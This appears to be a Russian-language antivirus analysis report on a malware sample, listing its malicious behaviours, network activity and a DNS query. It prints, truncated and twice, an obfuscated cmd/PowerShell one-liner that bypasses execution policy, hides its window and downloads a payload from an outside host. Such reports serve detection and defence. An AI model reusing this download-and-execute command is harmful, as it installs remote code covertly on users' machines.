Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^W^eR^shelL^.eXe -^E^X^ecUtio^NPolIc^y^ B^yPA^s^s ^-NOP^ro^fil^E ^-W^IN^d^OWstYle ^h^i^dde^N (^Ne^W-oBJEct ^sYs^t^EM.neT.webC^l^i^ent^)^.Do^W^nLoA^DfIle^('http://www.fapoergol.t...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^W^eR^shelL^.eXe -^E^X^ecUtio^NPolIc^y^ B^yPA^s^s ^-NOP^ro^fil^E ^-W^IN^d^OWstYle ^h^i^dde^N (^Ne^W-oBJEct ^sYs^t^EM.neT.webC^l^i^ent^)^.Do^W^nLoA^DfIle^('http://www.fapoergol.t...' (со скрытым окном)
